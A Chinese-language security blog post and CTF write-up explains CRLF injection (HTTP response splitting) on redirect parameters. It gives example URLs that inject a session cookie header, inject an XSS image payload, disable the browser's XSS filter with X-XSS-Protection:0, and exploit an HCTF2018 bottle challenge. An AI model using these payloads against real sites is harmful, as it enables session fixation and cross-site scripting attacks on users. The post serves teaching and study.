Web

CRLF注入

 Von's Blog     2020-01-29   1867 words    & views

什么是CRLF注入?

CRLF是”回车+换行”(\r\n)(编码后是%0D%0A)的简称,在HTTP中,HTTP Header和HTTP Body是用两个CRLF来分割的。浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。

具体分析

假如我们可以操控http头中的部分,那么我们就可能实现CRLF注入,我们以最常见的重定向为例:
假如我们可以在url后面输入参数作为302重定向的对象,假如对于一个正常的

http://test.com/?url=http://www.baidu.com 

响应头是:

HTTP/1.1 302 Moved Temporarily 
Date: Wed, 29 Jan 2020 20:40:17 GMT 
Content-Type: text/html 
Connection: close 
Location: http://www.baidu.com

但是,如果我们构造这样的url:

http://test.com/?url=http://www.baidu.com%0aSet_cookie:sessionid=V0n 

此时响应头就会变成:

HTTP/1.1 302 Moved Temporarily 
Date: Wed, 29 Jan 2020 20:43:33 GMT 
Content-Type: text/html 
Connection: close 
Location: http://www.baidu.com 
cookie: sessionid=V0n 

可以看到,此时cookie已经被我们设定成为了一个特定值,也就是形成了一个会话维持漏洞。
在什么的例子中,我们以%0a分割Set_cookie和重定向网站,只是为了实现设置Http Header,而如果我们设置url为:

http://test.com/?url=http://www.baidu.com%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

那么我们的响应头将会变成:

HTTP/1.1 302 Moved Temporarily 
Date: Wed, 29 Jan 2020 20:49:33 GMT
Content-Type: text/html 
Content-Length: 154 
Connection: close 
Location:
<img src=1 onerror=alert(/xss/)>

也就是实现了一个XSS漏洞,而且这个的牛逼之处还在于可以绕过filter,至于为什么可以绕过filter呢?
这是因为filter只有在http header中含有X-XSS-Protection且值为0的时候才不会开启,所以我们可以构造如下url:

http://test.com/?url=http://www.baidu.com%0aX-XSS-Protection:0%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

从而达到绕过filter的效果。
值得注意的是,设置X-XSS-Protection只是阻止了浏览器自带的filter,并不能阻止CSP

CTF例子

HCTF2018里面出了一道bottle的题目,就是利用了CRLF注入,利用的是bottle这个python模块存在CRLF漏洞,具体可以参考P神的这篇文章:Bottle HTTP 头注入漏洞探究 题目允许我们跳转到站内的网站,需要注意的是,这个跳转只允许我们跳转到80以下的端口。
其实这道题还采用了CSP,但是由于bottle的特性(它的header顺序是会改变的),所以我们只需要随机发包,随机到Content-Security-Policy位于Location下面时,便可以实现XSS了。故有payload:

http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:0/%0a%0d%0a%0d<script>alert `1` </script>`

参考文章

Hctf2018 writeup
Bottle HTTP 头注入漏洞探究